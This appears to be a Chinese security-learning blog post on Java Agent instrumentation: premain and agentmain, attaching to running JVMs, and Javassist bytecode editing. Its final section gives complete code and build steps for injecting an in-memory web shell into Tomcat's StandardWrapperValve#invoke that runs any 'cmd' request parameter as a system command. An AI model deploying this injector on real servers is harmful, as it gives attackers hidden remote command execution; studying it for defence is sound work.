JavaSec 入门-8-Java Agent
前言
(8和9篇章之后补) Java Agent 是 Java 平台提供的一个强大工具, jdk 引入了 java.lang.instrument 包,该包提供了检测 Java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent,它可以在运行时修改或增强 Java 应用程序的行为。是在 JDK1.5 以后引入的,它能够在不影响正常编译的情况下修改字节码,相当于是在 main 方法执行之前的拦截器,也叫 premain ,也就是会先执行 premain 方法然后再执行 main 方法。
学内存马就会遇到 Java Agent 类型内存马,简单记录一下基础知识以及后续利用
基础利用
Agent 主要就是两个部分 premain 和 agentmain ,premain 顾名思义,在 JVM 加载 和 main 方法之前触发,另一种是 JVM 启动之后加载的 agentmain,这里我们可以将其理解成一种特殊的 Interceptor
简单示例
main.jar 组成部分
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.agent</groupId>
<artifactId>AgentTest</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.1.2</version>
<configuration>
<archive>
<manifestFile>${project.basedir}/src/main/resources/META-INF/MANIFEST.MF</manifestFile>
</archive>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.1.2</version>
</dependency>
</dependencies>
</project>
public class MyApp {
public static void main(String[] args) throws InterruptedException {
System.out.println("[MyApp] Hello, My name is aniale~");
try {
// 获取虚拟机进程PID
String jvmPid = ManagementFactory.getRuntimeMXBean().getName();
System.out.println("[MyApp] 当前Java进程的PID是: " + jvmPid);
} catch (Exception e) {
e.printStackTrace();
}
while (true) { // 放置程序提前中止, 使用 while 循环进行保持进程
}
}
}
Main-Class: com.agent.MyApp (对应了 MyApp::main 方法, 这里需要多打一个换行符)
premain & agentmain
agent.jar 组成部分,这两个内容示例写在一起了
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.1.2</version>
<configuration>
<archive>
<manifestFile>${project.basedir}/src/main/resources/META-INF/MANIFEST.MF</manifestFile>
</archive>
</configuration>
</plugin>
</plugins>
</build>
package com.agent;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
import java.util.ArrayList;
public class MyPremainTest {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("[MyPremainTest::premain] 你传递过来的参数: " + agentArgs);
inst.addTransformer(new MyClassFileTransformer()); // 对 jvm 准备加载的所有类增加转换器, 当加载到具体类时, 会先走到 MyClassFileTransformer::transform 方法中
}
public static void premain(String agentArgs) {
System.out.println("[MyPremainTest::premain] 你传递过来的参数: " + agentArgs);
// 如果存在 public static void premain(String agentArgs, Instrumentation inst), 则不会进入该方法
}
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
System.out.println("[MyPremainTest::agentmain] 你传递过来的参数: " + agentArgs);
inst.addTransformer(new MyClassFileTransformer(), true); // 参数2: 是否支持类的转换
Class[] allLoadedClasses = inst.getAllLoadedClasses(); // 得到当前 JVM 加载的所有类
ArrayList<Class> transformClasses = new ArrayList<>(); // 准备待转换的类
for (Class clazz : allLoadedClasses) {
String className = clazz.getName();
if (className.equals("com.agent.MyApp")) {
System.out.println("ADD " + className);
transformClasses.add(clazz);
}
}
inst.retransformClasses(transformClasses.toArray(new Class[0])); // 进行转换为Class[]
}
static class MyClassFileTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
// 注意:这里打印的 className 可能是替换过的,与 clazz.getName() 不完全匹配
System.out.println("Transforming class: " + className);
// 如果需要修改类,请在这里处理 classfileBuffer
return classfileBuffer; // 目前返回原始字节码, 如果返回 null 则不做一丁点修改
}
}
public static void agentmain(String agentArgs) {
System.out.println("[MyPremainTest::agentmain] 你传递过来的参数: " + agentArgs);
// 如果存在 public static void agentmain(String agentArgs, Instrumentation inst), 则不会进入该方法
}
}
Manifest-Version: 1.0
Can-Redefine-Classes: true
Premain-Class: com.agent.MyPremainTest
Agent-Class: com.agent.MyPremainTest
agent.jar 无法直接运行,要借助之前写的 main.jar 去使用 premain
java -javaagent:agent.jar=Hacker! -jar .\main.jar
而 agentmain 先启动 main.jar,再通过一个 VirtualMachine 的 attach 去使用,新建个项目,建议使用 jdk8
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>VirtualMachine</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.jdk</groupId>
<artifactId>tools</artifactId>
<version>1.8</version>
<scope>system</scope>
<systemPath>${java.home}/../lib/tools.jar</systemPath>
</dependency>
</dependencies>
</project>
public class MyAgentTest {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
System.out.println("AgentDemo4Test"); // 打印测试标识信息
// 获取当前系统中所有虚拟机实例的描述符列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
// 遍历虚拟机实例描述符列表
for (VirtualMachineDescriptor vmd : list) {
// 检查虚拟机实例的显示名称是否为 "main.jar"
if (vmd.displayName().equals("main.jar")) {
// 附加到指定的虚拟机实例
VirtualMachine vm = VirtualMachine.attach(vmd.id());
// 打印虚拟机实例的 ID
System.out.println(vm.id());
// 打印虚拟机实例的信息
System.out.println(vm);
// 加载指定的 Java Agent
vm.loadAgent("C:\\Users\\Administrator\\Desktop\\agent.jar", "Hacker!");
// 参数1: 指明具体的 agent 包路径
// 参数2: 给该 agent 方法传递的参数
// 从目标虚拟机断开连接
vm.detach();
}
}
}
}
VirtualMachine
那么什么是 VirtualMachine ?
com.sun.tools.attach.VirtualMachine 类可以实现获取JVM信息,内存 dump、线程 dump、类信息统计(例如 JVM 加载的类)等功能。 该类允许我们通过给 attach 方法传入一个 JVM 的 PID,来远程连接到该 JVM上 ,之后我们就可以对连接的 JVM 进行各种操作,如注入 Agent。下面是该类的主要方法
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()
//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()
//获得当前所有的JVM列表
VirtualMachine.list()
//解除与特定JVM的连接
VirtualMachine.detach()
VirtualMachineDescriptor
com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class get_PID {
public static void main(String[] args) {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
if(vmd.displayName().equals("get_PID"))
System.out.println(vmd.id());
}
}
}
Instrumentation
Instrumentation 是 java.lang.instrument 包中的接口,由 JVM 提供,允许 Agent 在运行时操作类定义和 JVM 状态。
主要方法:
- addTransformer(ClassFileTransformer transformer, boolean canRetransform):注册一个 ClassFileTransformer,用于修改类字节码。
- retransformClasses(Class<?>... classes):触发对指定类的重新转换,调用已注册的 Transformer。
- getAllLoadedClasses():返回当前 JVM 中所有已加载的类。
- isRetransformClassesSupported():检查是否支持类的重新转换。
用途:
- 提供动态修改类的能力,例如代码注入、性能监控、调试等。
Javassist
Javassist(Java Assist)是一个开源的 Java 字节码操作库,广泛用于运行时动态修改类的字节码。它比直接使用低级的 ASM 库更易用,提供了一个高层次的 API,让开发者可以通过简单的 Java 代码操作类的结构和行为。
导入依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
主要类和方法
ClassPool
- 作用:管理类的加载和查找。
- 常用方法
- ClassPool.getDefault():获取默认的 ClassPool 实例。
- get(String className):根据类名获取 CtClass 对象。
- insertClassPath(ClassPath cp):添加类路径(如当前 ClassLoader)。
- makeClass(String className):创建新类。
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("com.agent.Server");
CtClass
- 作用:表示一个可修改的类。
- 常用方法
- getDeclaredMethod(String name):获取指定方法。
- getDeclaredField(String name):获取指定字段。
- addMethod(CtMethod m):添加新方法。
- addField(CtField f):添加新字段。
- toBytecode():生成字节码(返回 byte[])。
- toClass():将类加载到 JVM。
CtMethod
- 作用:操作类中的方法。
- 常用方法
- setBody(String src):设置方法体(用 Java 代码字符串表示)。
- insertBefore(String src):在方法开始处插入代码。
- insertAfter(String src):在方法结束处插入代码。
- addLocalVariable(String name, CtClass type):添加局部变量。
总结就是ClassPool
对象是Ctclass
的容器,首先创建容器 pool,再在 pool 中创建Ctclass
,对其进行自定义修改操作,结束后将其保存在容器中,方便我们之后取出,CtClass
对应的实际上就是 class 文件
生成类示例
package com.aniale;
import javassist.*;
/**
* @author rickiyang
* @date 2019-08-06
* @Desc
*/
public class javassistsDemo {
/**
* 创建一个Person 对象
*
* @throws Exception
*/
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
// 1. 创建一个空类
CtClass cc = pool.makeClass("com.aniale.javassit.Person");
// 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming"));
// 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));
// 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"xiaohong\";}");
cc.addConstructor(cons);
// 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);
// 6. 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);
//这里会将这个创建的类对象编译为.class文件
cc.writeFile("D:\\Java\\Agentdemo");
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}
效果:
通过反射方式调用
package com.aniale;
import javassist.*;
import java.lang.reflect.Method;
/**
* @author rickiyang
* @date 2019-08-06
* @Desc
*/
public class javassistsDemo {
/**
* 创建一个Person 对象
*
* @throws Exception
*/
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
// 1. 创建一个空类
CtClass cc = pool.makeClass("com.aniale.javassit.Person");
// 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming"));
// 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));
// 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"xiaohong\";}");
cc.addConstructor(cons);
// 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);
// 6. 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);
Object person = cc.toClass().newInstance();
// 设置值
Method setName = person.getClass().getDeclaredMethod("setName", String.class);
// 触发
setName.invoke(person,"aniale");
// 获取值
Method printName = person.getClass().getDeclaredMethod("printName");
// 触发
printName.invoke(person);
//这里会将这个创建的类对象编译为.class文件
cc.writeFile("D:\\Java\\Agentdemo");
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}
通过.class文件调用
package com.aniale;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Method;
public class javassistsDemo {
/**
* 创建一个Person 对象
*
* @throws Exception
*/
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
// 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬
pool.appendClassPath("D:\\Java\\Agentdemo");
//获取Person的class对象
CtClass ctClass = pool.get("com.aniale.javassit.Person");
Object person = ctClass.toClass().newInstance();
// ...... 下面和通过反射的方式一样去使用
// 设置值
Method setName = person.getClass().getDeclaredMethod("setName", String.class);
// 触发
setName.invoke(person,"aniale");
// 获取值
Method printName = person.getClass().getDeclaredMethod("printName");
// 触发
printName.invoke(person);
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Javassist & JavaAgent 联动使用
先写一个正常服务 server.jar
package com.agent
public class Server {
public static void main(String[] args) throws InterruptedException {
while (true) {
sayHello();
Thread.sleep(1000);
}
}
public static void sayHello() {
System.out.println("[Server] Hello ~");
}
}
agent.jar,这里我们用了一个 maven 的打包插件,使用maven-assembly-plugin
可以进行带扩展打包,直接 package 会生成两个 jar 包,选择带 dependencies 的
package com.aniale;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
public class MyAgent {
public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new MyClassFileTransformer(), true);
Class<?>[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class<?> allLoadedClass : allLoadedClasses) {
if (allLoadedClass.getName().equals("com.agent.Server")) {
try {
inst.retransformClasses(allLoadedClass);
} catch (UnmodifiableClassException e) {
throw new RuntimeException(e);
}
}
}
}
static class MyClassFileTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
System.out.println("Transforming class: " + className);
ClassPool classPool = new ClassPool(true);
classPool.insertClassPath(new LoaderClassPath(loader));
CtClass ctClass = classPool.get(className.replace("/", "."));
CtMethod tester = ctClass.getDeclaredMethod("sayHello"); // 得到 sayHello 方法
tester.setBody("{System.out.println(\"[MyAgent] aniale!\");}");
return ctClass.toBytecode(); // 返回修改后的字节码
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<archive>
<manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: com.aniale.MyAgent
attach 部分,配置和之前相同
public class Test {
public static void main(String[] args) throws AgentLoadException, IOException, AgentInitializationException, AttachNotSupportedException {
System.out.println("AgentDemo4Test"); // 打印测试标识信息
// 获取当前系统中所有虚拟机实例的描述符列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
// 遍历虚拟机实例描述符列表
for (VirtualMachineDescriptor vmd : list) {
// 检查虚拟机实例的显示名称是否为 "main.jar"
if (vmd.displayName().equals("server.jar")) {
// 附加到指定的虚拟机实例
VirtualMachine vm = VirtualMachine.attach(vmd.id());
// 打印虚拟机实例的 ID
System.out.println(vm.id());
// 打印虚拟机实例的信息
System.out.println(vm);
// 加载指定的 Java Agent
vm.loadAgent("C:\\Users\\Administrator\\Desktop\\agent.jar", "Hacker!");
// 参数1: 指明具体的 agent 包路径
// 参数2: 给该 agent 方法传递的参数
// 从目标虚拟机断开连接
vm.detach();
}
}
}
}
Instrumentation的局限性
大多数情况下,我们使用 Instrumentation 都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性: premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。 类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:
- 新类和老类的父类必须相同
- 新类和老类实现的接口数也要相同,并且是相同的接口
- 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
- 新类和老类新增或删除的方法必须是private static/final修饰的
- 可以修改方法体
用 Agent 实现 Filter 型的内存马
起一个 Spring 项目看一下 Controller 调用流程,
这里存在一个递归调用,去依次加载 Filter ,最后调用 service ,我们只要动态修改internalDoFilter
或者是DoFilter
,就可以注入 Agent 的内存马,这里用internalDoFilter
的话很明显会执行五次,而单纯的 Tomcat 会执行两次。
所以我们用org.apache.catalina.core.StandardWrapperValve#invoke
,这个在 Tomcat 只会执行一次,Spring 两次,在这里我们把 attach 和 agent 部分写在一起最后打包成一个 jar
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>VirtualMachine</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.tools.attach</groupId>
<artifactId>MyTools</artifactId>
<version>1.0</version>
<scope>system</scope>
<!-- 将 ${java.home}/../lib/tools.jar 拷贝到当前目录 -->
<systemPath>${pom.basedir}/lib/GenericAgentTools.jar</systemPath>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
</dependencies>
</project>
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Main {
private static final String CLASSNAME = "org.apache.catalina.startup.Bootstrap";
public static void main(String[] args) throws Exception {
// 得到 绝对路径 当前jar包名称.jar!/com/heihu577/Main.class
String classPath = Main.class.getClassLoader().getResource(Main.class.getName().replaceAll("\\.", "/") + ".class").getPath();
// 得到 jar 包绝对路径, 绝对路径: 当前jar包名称.jar
String jarPath = classPath.substring(0, classPath.indexOf("!")).replace("file:/", "");
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) { // 获取当前系统中所有虚拟机实例的描述符列表
if (vmd.displayName().contains(CLASSNAME)) { // Tomcat 启动标志
VirtualMachine attach = VirtualMachine.attach(vmd.id()); // attach
// 加载自己的 jar 文件
System.out.println(jarPath);
attach.loadAgent(jarPath, "");
attach.detach(); // 断开
System.out.println("Attach Success!");
}
}
}
}
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
public class AgentMain {
private static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve";
private static final String METHODNAME = "invoke";
public static void agentmain(String args, Instrumentation inst) {
inst.addTransformer(new MyClassFileTransformer(), true);
Class[] allLoadedClasses = inst.getAllLoadedClasses(); // 得到所有加载过的 class
for (Class clazz : allLoadedClasses) {
try {
if (clazz.getName().equals(CLASSNAME)) { // 判断当前 class 是否为 ApplicationFilterChain
inst.retransformClasses(clazz); // 准备重新加载, 并参与字节码转换
}
} catch (UnmodifiableClassException e) {
e.printStackTrace();
}
}
System.out.println("agentmain");
}
static class MyClassFileTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals(CLASSNAME.replace(".", "/"))) {
try {
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined); // 通过当前类得到加载路径
classPool.insertClassPath(ccp); // 指明 ClassPool 加载路径, 否则类加载不到
}
CtClass ctClass = classPool.get(CLASSNAME); // 得到该 CLASSNAME
// 获取到该方法
CtMethod invokeMethod = ctClass.getDeclaredMethod(METHODNAME, new CtClass[]{classPool.get("org.apache.catalina.connector.Request"), classPool.get("org.apache.catalina.connector.Response")});
String code = "String cmd = request.getParameter(\"cmd\"); if (cmd != null) { try { response.getWriter().println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(new String(new byte[]{0})).next()); } catch (Exception e) { e.printStackTrace(); } }";
// 在方法前加入代码块
invokeMethod.insertBefore("{" + code + "}");
byte[] bytecode = ctClass.toBytecode(); // 得到最终生成的字节码
ctClass.defrost(); // 由于调用完 toBytecode 后, 类将会被冻结, 在第二次进行 agent 注入时, 会报错, 所以这里提前解冻.
return bytecode;
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}
}
Manifest-Version: 1.0
Main-Class: Main
Agent-Class: AgentMain
Can-Retransform-Classes: true
Can-Redefine-Classes: true
项目文件结构如图
工件位置要把这俩依赖放进去
然后选择 IDEA 自己的打包
最后
java -jar your_inject.jar
对于 Spring 来说,在 Main 类里面改一下那个CLASSNAME
就好
展望
其他如文件不落地或者结合反序列化的以后再更新进来